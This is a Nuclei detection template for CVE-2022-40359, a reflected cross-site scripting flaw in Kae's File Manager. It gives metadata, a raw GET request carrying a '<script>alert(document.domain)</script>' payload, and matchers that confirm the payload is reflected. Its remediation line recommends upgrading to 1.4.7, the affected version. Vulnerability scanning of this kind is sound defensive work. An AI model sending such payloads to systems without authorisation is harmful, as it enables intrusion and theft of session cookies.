nuclei-templates/http/cves/2022/CVE-2022-40359.yaml

54 lines
1.8 KiB
YAML

id: CVE-2022-40359
info:
name: Kae's File Manager <=1.4.7 - Cross-Site Scripting
author: edoardottt,daffainfo
severity: medium
description: |
Kae's File Manager through 1.4.7 contains a cross-site scripting vulnerability via a crafted GET request to /kfm/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks
remediation: |
Upgrade to the latest version of Kae's File Manager plugin (1.4.7) or apply the vendor-provided patch to mitigate the XSS vulnerability.
reference:
- https://cxsecurity.com/issue/WLB-2022090057
- https://code.google.com/archive/p/kfm/downloads
- https://nvd.nist.gov/vuln/detail/CVE-2022-40359
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-40359
cwe-id: CWE-79
epss-score: 0.00109
epss-percentile: 0.43733
cpe: cpe:2.3:a:kfm_project:kfm:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: kfm_project
product: kfm
tags: cve,cve2022,xss,kfm
http:
- raw:
- |
GET /kfm/index.php/'<script>alert(document.domain);</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain);</script>"
- "x_kfm_changeCaption"
- "kfm_copyFiles"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502202447b4182e27fbbbf9d54e2c0d7bd8c23b61dfa50d0a8817efaa1b22ce04e19e0221008682e4d05b31d804827fc3f9f14143e569c79b8c02f211e2d6d9a90b443d72c1:922c64590222798bb761d5b6d8e72950